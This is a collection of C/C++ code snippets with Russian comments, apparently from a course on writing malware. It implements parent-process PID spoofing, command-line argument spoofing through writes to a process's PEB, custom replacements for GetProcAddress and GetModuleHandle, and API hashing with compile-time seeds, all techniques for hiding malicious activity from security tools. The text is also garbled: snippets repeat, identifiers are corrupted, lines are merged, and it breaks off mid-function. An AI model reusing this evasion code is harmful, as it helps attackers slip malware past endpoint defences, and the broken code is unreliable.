
    STARTUPINFOEXA SiEx = { 0 };
    PROCESS_INFORMATION Pi = { 0 };

    RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Установка размера структуры
    SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

    // Это завершится ошибкой ERROR_INSUFFICIENT_BUFFER, как и ожидалось
    InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);

    // Выделение достаточного объема памяти
    pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
    if (pThreadAttList == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Повторный вызов InitializeProcThreadAttributeList, но передача правильных параметров
    if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
        printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
        printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Установка элемента LPPROC_THREAD_ATTRIBUTE_LIST в SiEx равным тому, что было создано с использованием UpdateProcThreadAttribute - то есть родительский процесс
    SiEx.lpAttributeList = pThreadAttList;

    if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &SiEx.StartupInfo, &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    *dwProcessId = Pi.dwProcessId;
    *hProcess = Pi.hProcess;
    *hThread = Pi.hThread;

    // Очистка
    DeleteProcThreadAttributeList(pThreadAttList);
    CloseHandle(hParentProcess);

    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS    ExitStatus;
    PPEB        PebBaseAddress;                // Указывает на структуру PEB.
    ULONG_PTR   AffinityMask;
    KPRIORITY   BasePriority;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,          // Что перезаписывается (CommandLine.Buffer)
  [in]  LPCVOID lpBuffer,               // Что записывается (новый аргумент процесса)
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {

    SIZE_T    sNmbrOfBytesRead    = NULL;

    *ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);

    if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){
        printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());
        printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);
        return FALSE;
    }

    return TRUE;
}

BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {

    SIZE_T sNmbrOfBytesWritten    = NULL;

    if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmбрOfBytesWritten != dwBufferSize) {
        printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);
        return FALSE;
    }

    return TRUE;
}

BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

    NTSTATUS                      STATUS   = NULL;

    WCHAR                         szProcess [MAX_PATH];

    STARTUPINFOW                  Si       = { 0 };
    PROCESS_INFORMATION           Pi       = { 0 };

    PROCESS_BASIC_INFORMATION     PBI      = { 0 };
    ULONG                         uRetern  = NULL;

    PPEB                          pPeb     = NULL;
    PRTL_USER_PROCESS_PARAMETERS  pParms   = NULL;

    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    Si.cb = sizeof(STARTUPINFOW);

    // Получение адреса функции NtQueryInformationProcess
    fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL)
        return FALSE;

    lstrcpyW(szProcess, szStartupArgs);

    if (!CreateProcessW(
        NULL,
        szProcess,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,      // создание процесса приостановленным и без окна
        NULL,
        L"C:\\Windows\\System32\\",               // можно использовать GetEnvironmentVariableW для получения этого программно
        &Si,
        &Pi)) {
        printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    // Получение структуры PROCESS_BASIC_INFORMATION удаленного процесса, которая содержит адрес PEB
    if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
        printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Чтение структуры PEB из ее базового адреса в удаленном процессе
    if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
        printf("\t[!] Failed To Read Target's Process Peb \n");
        return FALSE;
    }

    // Чтение структуры RTL_USER_PROCESS_PARAMETERS из PEB удаленного процесса
    // Читается дополнительных 0xFF байтов, чтобы убедиться, что мы достигли указателя CommandLine.Buffer
    // 0xFF - это 255, но может быть любым, на ваш выбор
    if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
        printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
        return FALSE;
    }

    // Запись реальных аргументов в процесс
    if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
        printf("\t[!] Failed To Write The Real Parameters\n");
        return FALSE;
    }

    // Очистка
    HeapFree(GetProcessHeap(), NULL, pPeb);
    HeapFree(GetProcessHeap(), NULL, pParms);

    // Возобновление процесса с новыми параметрами
    ResumeThread(Pi.hThread);

    // Сохранение выходных параметров
    *dwProcessId     = Pi.dwProcessId;
    *hProcess        = Pi.hProcess;
    *hThread         = Pi.hThread;

    // Проверка, все ли параметры действительны
    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

DWORD dwNewLen = sizeof(L"powershell.exe");

if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))){
  return FALSE;
}

#define INITIAL_HASH    3731  // добавлено для рандомизации хеширования
#define INITIAL_SEED    7     // генерация хешей Djb2 из строк ASCII
DWORD HashStringDjb2A(_In_ PCHAR String)
{
    ULONG Hash = INITIAL_HASH;
    INT c;

    while (c = *String++)
        Hash = ((Hash << INITIAL_SEED) + Hash) + c;

    return Hash;
}

// генерация хешей Djb2 из строк в широких символах
DWORD HashStringDjb2W(_In_ PWCHAR String)
{
    ULONG Hash = INITIAL_HASH;
    INT c;

    while (c = *String++)
        Hash = ((Hash << INITIAL_SEED) + Hash) + c;

    return Hash;
}

#define INITIAL_SEED    7    // Генерация хешей JenkinsOneAtATime32Bit из строк ASCII
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenA(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

// Генерация хешей JenkinsOneAtATime32Bit из строк в широких символах
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenW(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

#define INITIAL_SEED    5 // Вспомогательная функция, которая применяет битовое вращение
UINT32 HashStringRotr32Sub(UINT32 Value, UINT Count)
{
    DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
    Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
    return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

// Генерация хешей Rotr32 из строк ASCII
INT HashStringRotr32A(_In_ PCHAR String)
{
    INT Value = 0;

    for (INT Index = 0; Index < lstrlenA(String); Index++)
        Value = String[Index] + HashStringRotr32Sub(Value, INITIAL_SEED);

    return Value;
}

// Генерация хешей Rotr32 из строк в широких символах
INT HashStringRotr32W(_In_ PWCHAR String)
{
    INT Value = 0;

    for (INT Index = 0; Index < lstrlenW(String); Index++)
        Value = String[Index] + HashStringRotr32Sub(Value, INITIAL_SEED);

    return Value;
}

char string[] = { 'h', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd', '\0' };

typedef LPVOID (WINAPI* fnVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

//...
fnVirtualAllocEx pVirtualAllocEx = GetProcAddress(GetModuleHandleA("KERNEL32.DLL"), "VirtualAllocEx");
pVirtualAllocEx(...);

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {}

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA от базы изображения
    DWORD   AddressOfNames;         // RVA от базы изображения
    DWORD   AddressOfNameOrdinals;  // RVA от базы изображения
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {

    // Делаем это, чтобы избежать приведения каждый раз при использовании 'hModule'
    PBYTE pBase = (PBYTE) hModule;

    // Получаем заголовок DOS и проверяем подпись
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    // Получаем заголовки NT и проверяем подпись
    PIMAGE_NT_HEADERS    pImgNtHdrs    = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    // Получаем необязательный заголовок
    IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

    // Получаем таблицу экспорта изображения
    // Это каталог экспорта
    PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY) (pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // ...
}

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){
  // Поиск целевой экспортированной функции
}

typedef struct _IMAGE_EXPORT_DIRECTORY {
    // ...
    // ...
    DWORD   AddressOfFunctions;     // RVA от базы изображения
    DWORD   AddressOfNames;         // RVA от базы изображения
    DWORD   AddressOfNameOrdinals;  // RVA от базы изображения
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

// Получение указателя на массив имен функций
PDWORD FunctionNameArray     = (PDWORD)(pBase + pImgExportDir->AddressOfNames);

// Получение указателя на массив адресов функций
PDWORD FunctionAddressArray     = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// Получение указателя на массив порядковых номеров функции
PWORD  FunctionOrdinalArray     = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// Получение указателя на массив имен функций
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);

// Получение указателя на массив адресов функций
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// Получение указателя на массив порядковых номеров функции
PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// Цикл по всем экспортированным функциям
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

    // Получение имени функции
    CHAR* pFunctionName        = (CHAR*)(pBase + FunctionNameArray[i]);

    // Получение порядкового номера функции
    WORD wFunctionOrdinal = FunctionOrdinalArray[i];

    // Вывод
    printf("[ %0.4d ] NAME: %s -\t ORDINAL: %d\n", i, pFunctionName, wFunctionOrdinal);
}

GetProcAddressReplacement(GetModuleHandleA("ntdll.dll"), NULL);

// Получение указателя на массив имен функций
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);

// Получение указателя на массив адресов функций
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

// Получение указателя на массив порядковых номеров функции
PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

// Цикл по всем экспортированным функциям
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

    // Получение имени функции
    CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);

    // Получение порядкового номера функции
    WORD wFunctionOrdinal = FunctionOrdinalArray[i];

    // Получение адреса функции через ее порядковый номер
    PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[wFunctionOrdinal]);

    printf("[ %0.4d ] NAME: %s -\t ADDRESS: 0x%p  -\t ORDINAL: %d\n", i, pFunctionName, pFunctionAddress, wFunctionOrdinal);
}

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {

    // Делаем это, чтобы избежать приведения каждый раз при использовании 'hModule'
    PBYTE pBase = (PBYTE)hModule;

    // Получение заголовка DOS и проверка подписи
    PIMAGE_DOS_HEADER    pImgDosHdr        = (PIMAGE_DOS_HEADER)pBase;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    // Получение заголовков NT и проверка подписи
    PIMAGE_NT_HEADERS    pImgNtHdrs        = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    // Получение необязательного заголовка
    IMAGE_OPTIONAL_HEADER    ImgOptHdr    = pImgNtHdrs->OptionalHeader;

    // Получение таблицы экспорта изображения
    PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY) (pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // Получение указателя на массив имен функций
    PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);

    // Получение указателя на массив адресов функций
    PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);

    // Получение указателя на массив порядковых номеров функции
    PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

    // Цикл по всем экспортированным функциям
    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

        // Получение имени функции
        CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);

        // Получение адреса функции через его порядковый номер
        PVOID pFunctionAddress    = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

        // Поиск указанной функции
        if (strcmp(lpApiName, pFunctionName) == 0){
            printf("[ %0.4d ] FOUND API -\t NAME: %s -\t ADDRESS: 0x%p  -\t ORDINAL: %d\n", i, pFunctionName, pFunctionAddress, FunctionOrdinalArray[i]);
            return pFunctionAddress;
        }
    }

    return NULL;
}

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName){}

// Метод 1
PTEB pTeb = (PTEB)__readgsqword(0x30);
PPEB pPeb = (PPEB)pTeb->ProcessEnvironmentBlock;

// Метод 2
PPEB pPeb2 = (PPEB)(__readgsqword(0x60));

// Метод 1
PTEB pTeb = (PTEB)__readfsdword(0x18);
PPEB pPeb = (PPEB)pTeb->ProcessEnvironmentBlock;

// Метод 2
PPEB pPeb2 = (PPEB)(__readfsdword(0x30));

typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks; // двусвязный список, содержащий порядок загрузки модулей в память
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName; // структура 'UNICODE_STRING', содержащая имя файла загруженного модуля
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {

// Получение peb
#ifdef _WIN64 // если компиляция как x64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32 // если компиляция как x32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif// Получение Ldr
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);

// Получение первого элемента в связанном списке, который содержит информацию о первом модуле
PLDR_DATA_TABLE_ENTRY    pDte    = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
}

pDte = (PLDR_DATA_TABLE_ENTRY)(pDte);

MODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {

// Получение PEB
#ifdef _WIN64 // если компиляция как x64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32 // если компиляция как x32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif// Получение Ldr
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);

// Получение первого элемента в связанном списке, который содержит информацию о первом модуле
PLDR_DATA_TABLE_ENTRY    pDte    = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while (pDte) {
    // Если не null
    if (pDte->FullDllName.Length != NULL) {
           // Вывод имени DLL
        wprintf(L"[i] \"%s\" \n", pDte->FullDllName.Buffer);
    }
    else {
        break;
    }
    // Следующий элемент в связанном списке
    pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

return NULL;
}

BOOL IsStringEqual (IN LPCWSTR Str1, IN LPCWSTR Str2) {

WCHAR   lStr1    [MAX_PATH],
        lStr2    [MAX_PATH];

int        len1    = lstrlenW(Str1),
        len2    = lstrlenW(Str2);

int        i        = 0,
        j        = 0;

// Проверка длины. Не хотим переполнить буферы
if (len1 >= MAX_PATH || len2 >= MAX_PATH)
    return FALSE;

// Преобразование Str1 в строку в нижнем регистре (lStr1)
for (i = 0; i < len1; i++){
    lStr1[i] = (WCHAR)tolower(Str1[i]);
}
lStr1[i++] = L'\0'; // завершение null

// Преобразование Str2 в строку в нижнем регистре (lStr2)
for (j = 0; j < len2; j++) {
    lStr2[j] = (WCHAR)tolower(Str2[j]);
}
lStr2[j++] = L'\0'; // завершение null

// Сравнение строк в нижнем регистре
if (lstrcmpiW(lStr1, lStr2) == 0)
    return TRUE;

return FALSE;
}

typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) {

// Получение PEB
#ifdef _WIN64 // если компиляция как x64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32 // если компиляция как x32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif// Получение Ldr
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
// Получение первого элемента в связанном списке (содержит информацию о первом модуле)
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while (pDte) {

    // Если не null
    if (pDte->FullDllName.Length != NULL) {

        // Проверка на равенство
        if (IsStringEqual(pDte->FullDllName.Buffer, szModuleName)) {
            wprintf(L"[+] Найдена Dll \"%s\" \n", pDte->FullDllName.Buffer);
#ifdef LDR_DATA_TABLE_ENTRY return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
#else return (HMODULE)pDte->Reserved2[0];
#endif // STRUCTS}

        // wprintf(L"[i] \"%s\" \n", pDte->FullDllName.Buffer);
    }
    else {
        break;
    }

    // Следующий элемент в связанном списке
    pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);

}

return NULL;
}

#ifdef LDR_DATA_TABLE_ENTRY return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
#else return (HMODULE)pDte->Reserved2[0];
#endif // STRUCTS

GetProcAddressReplacement(GetModuleHandleReplacement("ntdll.dll"),"VirtualAllocEx")

int main(){
printf("[i] Хеш "%s" : 0x%0.8X \n", "USER32.DLL", HASHA("USER32.DLL")); // Имя модуля в верхнем регистре
printf("[i] Хеш "%s" : 0x%0.8X \n", "MessageBoxA", HASHA("MessageBoxA"));

return 0;
}

// 0x81E3778E - это хеш USER32.DLL
// 0xF10E27CA - это хеш MessageBoxA
fnMessageBoxA pMessageBoxA = GetProcAddressH(GetModuleHandleH(0x81E3778E),0xF10E27CA);

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

if (hModule == NULL || dwApiNameHash == NULL)
    return NULL;

PBYTE pBase = (PBYTE)hModule;

PIMAGE_DOS_HEADER         pImgDosHdr              = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
    return NULL;

PIMAGE_NT_HEADERS         pImgNtHdrs              = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
    return NULL;

IMAGE_OPTIONAL_HEADER     ImgOptHdr              = pImgNtHdrs->OptionalHeader;

PIMAGE_EXPORT_DIRECTORY   pImgExportDir          = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PDWORD  FunctionNameArray    = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD  FunctionAddressArray    = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD   FunctionOrdinalArray    = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
    CHAR*    pFunctionName       = (CHAR*)(pBase + FunctionNameArray[i]);
    PVOID    pFunctionAddress    = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

    // Хеширование каждого имени функции pFunctionName
    // Если оба хеша равны, значит, мы нашли нужную функцию
    if (dwApiNameHash == HASHA(pFunctionName)) {
        return pFunctionAddress;
    }
}

return NULL;
}

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

if (dwModuleNameHash == NULL)
    return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif

PPEB_LDR_DATA            pLdr  = (PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY    pDte  = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

while (pDte) {

    if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {

        // Преобразование `FullDllName.Buffer` в строку верхнего регистра
        CHAR UpperCaseDllName[MAX_PATH];

        DWORD i = 0;
        while (pDte->FullDllName.Buffer[i]) {
            UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
            i++;
        }
        UpperCaseDllName[i] = '\0';

        // хеширование `UpperCaseDllName` и сравнение хеш-значения с тем, что во входном `dwModuleNameHash`
        if (HASHA(UpperCaseDllName) == dwModuleNameHash)
            return pDte->Reserved2[0];

    }
    else {
        break;
    }

    pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

return NULL;
}

#define USER32DLL_HASH 0x81E3778E
               #define MessageBoxA_HASH 0xF10E27CAint

main() {

// Загрузите User32.dll в текущий процесс, чтобы GetModuleHandleH работал
if (LoadLibraryA("USER32.DLL") == NULL) {
    printf("[!] LoadLibraryA не удалось с ошибкой : %d \n", GetLastError());
    return 0;
}

// Получение дескриптора user32.dll с помощью GetModuleHandleH
HMODULE hUser32Module = GetModuleHandleH(USER32DLL_HASH);
if (hUser32Module == NULL){
    printf("[!] Не удалось получить дескриптор User32.dll \n");
    return -1;
}

// Получение адреса функции MessageBoxA с помощью GetProcAddressH
fnMessageBoxA pMessageBoxA = (fnMessageBoxA)GetProcAddressH(hUser32Module, MessageBoxA_HASH);
if (pMessageBoxA == NULL) {
    printf("[!] Не удалось найти адрес указанной функции \n");
    return -1;
}

// Вызов MessageBoxA
pMessageBoxA(NULL, "Создание вредоносных программ с RuSfera", "Вау", MB_OK | MB_ICONEXCLAMATION);

printf("[#] Нажмите <Enter>, чтобы выйти ... ");
getchar();

return 0;
}

#define SEED 5 // Функция хеширования Djb2 во время компиляции (WIDE)
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
    ULONG Hash = (ULONG)g_KEY;
    INT c = 0;
    while ((c = *String++)) {
        Hash = ((Hash << SEED) + Hash) + c;
    }

    return Hash;
}

// Функция хеширования Djb2 во время компиляции (ASCII)
constexpr DWORD HashStringDjb2A(const char* String) {
    ULONG Hash = (ULONG)g_KEY;
    INT c = 0;
    while ((c = *String++)) {
        Hash = ((Hash << SEED) + Hash) + c;
    }

    return Hash;
}

// Генерировать случайный ключ на этапе компиляции, который используется как начальный хеш
constexpr int RandomCompileTimeSeed(void)
{
    return '0' * -40271 +
        __TIME__[7] * 1 +
        __TIME__[6] * 10 +
        __TIME__[4] * 60 +
        __TIME__[3] * 600 +
        __TIME__[1] * 3600 +
        __TIME__[0] * 36000;
};

// Компилируемое время случайного начального числа
constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)       // Вызов HashStringDjb2A
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)    // Вызов HashStringDjb2W

#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = HashStringDjb2W((const wchar_t*) L#API);

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#define SEED 5 // генерировать случайный ключ (используется как начальный хеш)
constexpr int RandomCompileTimeSeed(void)
{
    return '0' * -40271 +
